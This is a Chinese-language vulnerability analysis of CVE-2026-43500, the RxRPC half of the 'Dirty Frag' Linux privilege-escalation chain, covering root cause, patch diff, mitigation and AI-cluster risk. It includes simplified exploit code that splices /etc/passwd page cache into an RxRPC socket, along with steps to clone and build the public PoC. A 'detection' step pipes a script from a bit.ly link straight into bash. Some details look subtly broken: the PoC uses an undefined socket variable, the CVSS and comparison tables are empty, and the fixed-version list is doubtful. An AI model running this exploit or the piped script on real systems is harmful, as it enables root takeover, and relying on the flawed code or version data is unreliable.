前言
2026年5月7日,韩国安全研究员Hyunwoo Kim(@v4bel)公开披露了一个震惊Linux安全界的本地提权漏洞链——Dirty Frag。该漏洞链由两个独立但互补的内核子系统缺陷构成:CVE-2026-43284(xfrm-ESP模块)和CVE-2026-43500(RxRPC模块)。两者链式利用,可让本地低权限用户无竞争条件、100%稳定获取root权限,覆盖Linux内核5.3至7.x所有版本,影响几乎所有主流Linux发行版。
本文将从技术原理、漏洞利用、影响范围、修复方案等多个维度,对CVE-2026-43500进行全面深度解析,并梳理Dirty Frag家族的演进历史,为企业和安全从业者提供完整的应急响应指南。
一、漏洞核心概况
CVE-2026-43500是Linux内核RxRPC(Remote Procedure Call)协议实现中的一个页缓存越界写入漏洞(CWE-787),属于**Dirty Frag(脏碎片)**漏洞链的核心组件之一。
- 漏洞别名:Dirty Frag继承者、RxRPC页缓存写入漏洞
- CVSS评分
- 影响版本:Linux内核6.5至7.x(rxrpc模块于2023年6月引入)
- 核心成因:rxrpc模块解密路径未校验页缓存来源,原地解密操作篡改只读页缓存
- 利用门槛:极低,PoC公开且7分钟可编译,Ubuntu默认加载rxrpc模块,无需特殊权限
- 危害场景:企业AI/ML集群、云服务器、容器环境(容器隔离无法防护内核级攻击)
二、Dirty Frag家族完整梳理:一脉相承的页缓存污染
Dirty Frag是继Dirty Cow、Dirty Pipe、Copy Fail后的第四代"页缓存非授权写入"漏洞家族,核心逻辑均为利用零拷贝机制,绕过只读页权限,实现任意内存写入。
2.1 四代"脏页"漏洞演进对比
2.2 Dirty Frag双组件分工:互补无盲区
Dirty Frag并非单一漏洞,而是两个独立漏洞的完美组合,它们各自弥补了对方的利用限制,实现了跨发行版、跨配置的全覆盖:
- CVE-2026-43284(xfrm-ESP):提供4字节任意写入,需CAP_NET_ADMIN权限(可通过用户命名空间获取),覆盖2017年后内核(5.3+),但Ubuntu AppArmor默认拦截命名空间创建。
- CVE-2026-43500(RxRPC):提供8字节可控写入,无需特殊权限,Ubuntu默认加载rxrpc.ko模块,覆盖6.5+内核,完美弥补了xfrm-ESP在Ubuntu的利用盲区。
三、CVE-2026-43500(RxRPC)技术原理深度解析
3.1 漏洞触发的核心机制
CVE-2026-43500的核心问题在于rxrpc模块的rxkad_verify_packet_1()函数在处理非线性skb时,未正确校验页缓存的所有权,直接对共享页缓存执行原地解密操作。
Linux内核的splice()系统调用允许在两个文件描述符之间直接传输数据,无需经过用户态内存拷贝。攻击者可以利用splice()将只读系统文件(如/etc/passwd、/usr/bin/su)的页缓存"种"进RxRPC套接字的skb非线性frag区域。当内核处理RxRPC数据包时,会错误地将这些共享页缓存当作私有内存,直接在上面执行fcrypt_decrypt()解密操作,从而实现对只读页缓存的任意写入。
3.2 漏洞利用完整流程图
A[攻击者以普通用户身份登录] --> B[打开只读系统文件/etc/passwd] B --> C[创建管道和RxRPC套接字] C --> D[通过splice()将/etc/passwd的页缓存注入RxRPC skb] D --> E[构造包含预计算密钥的RxRPC数据包] E --> F[发送数据包触发rxkad_verify_packet_1()函数] F --> G[内核执行原地fcrypt_decrypt()解密] G --> H[只读页缓存被篡改,root密码被清空] H --> I[攻击者使用su命令无密码登录root]
3.3 漏洞代码分析
漏洞位于Linux内核net/rxrpc/rxkad.c文件中的rxkad_verify_packet_1()函数。修复前的代码逻辑如下:
staticintrxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb, struct rxrpc_skb_priv *sp){ // ... 省略部分代码 ... // 仅当skb被克隆时才执行拷贝 if (skb_cloned(skb)) { skb = skb_copy(skb, GFP_ATOMIC); if (!skb) return -ENOMEM; } // 直接在原skb上执行原地解密 err = fcrypt_decrypt(&ctx->fcrypt, skb->data, skb->data, skb->len); if (err) return err; // ... 省略部分代码 ...}
问题出在第7-11行:代码仅检查了skb是否被克隆,但没有检查skb是否包含共享页碎片(SKBFL_SHARED_FRAG)或碎片列表(skb_has_frag_list())。当攻击者通过splice()注入包含外部共享页的skb时,代码会跳过拷贝步骤,直接在共享页上执行解密操作。
3.4 官方补丁分析
Linux内核官方于2026年5月11日发布了修复补丁(提交ID:aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71),修复后的代码如下:
staticintrxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb, struct rxrpc_skb_priv *sp){ // ... 省略部分代码 ... // 扩展检查条件:当skb被克隆、有碎片列表或有共享碎片时,执行拷贝 if (skb_cloned(skb) || skb_has_frag_list(skb) || skb_has_shared_frag(skb)) { skb = skb_copy(skb, GFP_ATOMIC); if (!skb) return -ENOMEM; } // 现在在私有拷贝上执行解密 err = fcrypt_decrypt(&ctx->fcrypt, skb->data, skb->data, skb->len); if (err) return err; // ... 省略部分代码 ...}
补丁通过扩展skb拷贝的触发条件,确保所有可能包含外部共享页的skb在解密前都被复制到内核私有内存中,从而彻底切断了攻击路径。
3.5 与CVE-2026-43284(xfrm-ESP)技术对比
四、PoC代码示例与利用演示
4.1 核心利用代码片段
以下是公开PoC中最核心的splice_page_to_skb()和trigger_rxrpc_decrypt()函数的简化版:
// 将文件的指定页通过splice注入到RxRPC套接字的skb中staticintsplice_page_to_skb(int file_fd, off_t offset, int rxrpc_sock){ int pipefd[2]; ssize_t ret; if (pipe(pipefd) == -1) { perror("pipe"); return -1; } // 将文件页splice到管道 ret = splice(file_fd, &offset, pipefd[1], NULL, 4096, SPLICE_F_MOVE); if (ret != 4096) { perror("splice to pipe"); close(pipefd[0]); close(pipefd[1]); return -1; } // 将管道中的页splice到RxRPC套接字 ret = splice(pipefd[0], NULL, rxrpc_sock, NULL, 4096, MSG_SPLICE_PAGES); if (ret != 4096) { perror("splice to rxrpc"); close(pipefd[0]); close(pipefd[1]); return -1; } close(pipefd[0]); close(pipefd[1]); return 0;}// 触发RxRPC原地解密,写入指定字节staticintwrite_byte(off_t offset, uint8_t value){ // 预计算fcrypt解密密钥,使得解密后的值等于目标值 uint8_t key[8]; fcrypt_precompute_key(key, value); // 构造包含该密钥的RxRPC数据包 struct rxrpc_packet pkt; memset(&pkt, 0, sizeof(pkt)); pkt.type = RXRPC_PACKET_TYPE_DATA; pkt.flags = RXRPC_CLIENT_INITIATED; memcpy(pkt.security_index, key, 8); // 发送数据包触发解密 send(rxrpc_sock, &pkt, sizeof(pkt), 0); return 0;}
4.2 完整利用步骤
编译PoC:
git clone https://github.com/V4bel/dirtyfrag.gitcd dirtyfragmake
执行提权:
验证结果:
五、云环境与AI/ML基础设施风险分析
5.1 为什么AI/ML集群是重灾区?
企业AI/ML基础设施面临的风险尤为严重,主要原因有以下几点:
- 内核版本普遍较新:AI/ML推理服务器、K8s节点、GPU集群普遍运行5.3+内核,且多为Ubuntu系统(默认加载rxrpc模块)。
- 容器隔离失效:Docker/K8s容器共享宿主机内核,容器内的普通用户可以利用漏洞直接获取宿主机root权限,横向渗透整个集群。
- 多租户环境风险:云平台的多租户AI集群中,一个租户的低权限账号被攻破,可能导致整个集群的所有租户数据泄露。
- 业务连续性影响大:AI训练任务通常需要运行数天甚至数周,内核升级需要重启服务器,会导致训练任务中断,造成巨大的经济损失。
5.2 典型风险场景示例
- 场景1:AI模型权重被篡改:攻击者通过GPU节点普通账号,利用CVE-2026-43500提权,篡改训练好的模型权重,植入后门,导致模型在推理时输出错误结果。
- 场景2:训练数据被窃取:攻击者获取root权限后,可以访问集群中所有的训练数据,包括用户隐私数据、商业机密等。
- 场景3:挖矿程序植入:攻击者利用AI集群的GPU资源进行挖矿,消耗大量电力和计算资源,导致正常业务无法运行。
- 场景4:云主机被接管:云服务器低权限用户,通过漏洞清空root密码,远程登录控制服务器,篡改网站数据、劫持业务。
六、漏洞检测与修复方案
6.1 漏洞检测方法
检查内核版本:
如果输出的内核版本在5.3至7.0.5之间,则可能受到影响。
检查模块加载状态:
lsmod | grep -E "rxrpc|esp4|esp6"
如果有输出,说明相关模块已加载,系统存在风险。
使用一键检测脚本:
curl -fsSL https://bit.ly/4elJXcG | bash -s -- check
6.2 修复方案(按优先级排序)
方案一:升级内核(推荐)
升级至以下已修复的内核版本:
各大主流Linux发行版的修复版本:
- Ubuntu 22.04:linux-image-5.15.0-112-generic
- Ubuntu 24.04:linux-image-6.8.0-35-generic
- RHEL 9:kernel-5.14.0-427.16.1.el9_4
- CentOS Stream 10:kernel-6.6.13-200.el10
方案二:禁用相关模块(临时缓解)
如果无法立即升级内核,可以通过禁用相关模块来临时缓解风险:
# 创建黑名单配置文件sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"# 立即卸载已加载的模块sudo rmmod esp4 esp6 rxrpc 2>/dev/null || true# 更新initramfs,确保重启后模块不会被加载sudo update-initramfs -u
注意:禁用esp4和esp6模块会影响IPsec VPN功能,如果您的系统使用IPsec,请谨慎操作。
方案三:禁用用户命名空间(缓解xfrm-ESP)
对于CVE-2026-43284,可以通过禁用用户命名空间来缓解:
# 临时禁用sudo sysctl -w kernel.unprivileged_userns_clone=0# 永久禁用echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.confsudo sysctl -p
七、前瞻性思考:页缓存漏洞的未来趋势
7.1 AI加速漏洞发现
Copy Fail和Dirty Frag漏洞的连续披露,标志着AI辅助漏洞发现时代的到来。Copy Fail漏洞是由安全公司Theori利用其基于AI的安全工具Xint Code在一小时内发现的。随着AI技术的不断发展,未来将会有更多类似的逻辑漏洞被快速发现,这对防御方提出了更高的要求。
7.2 补丁衍生漏洞风险
2026年5月16日,安天研究院披露了Fragnesia(“分片失忆”)漏洞,该漏洞正是由于Dirty Frag补丁引入的SKBFL_SHARED_FRAG标记在分片合并过程中静默丢失而产生的。这提醒我们,安全补丁本身也可能引入新的漏洞,补丁审核流程需要更加严格。
7.3 内核设计哲学的反思
从Dirty Cow到Dirty Frag,Linux内核的页缓存机制似乎成了一个"漏洞富矿"。这些漏洞的共同根源在于性能与安全的权衡。内核开发者为了追求极致的性能,引入了零拷贝、原地操作等优化,但这些优化也带来了安全风险。未来,内核设计需要在性能与安全之间找到更好的平衡点。
八、总结
CVE-2026-43500作为Dirty Frag漏洞链的核心组件,以其极低的利用门槛、极高的成功率和广泛的影响范围,成为了2026年上半年最严重的Linux安全漏洞之一。企业和安全从业者应高度重视,立即采取修复措施,特别是运行AI/ML集群和云服务器的企业,更应优先处理。
同时,我们也应该看到,随着AI技术在漏洞发现领域的应用,未来内核漏洞的披露速度将会越来越快。防御方需要建立更加完善的应急响应机制,提高漏洞修复的效率,才能在日益激烈的攻防对抗中占据主动。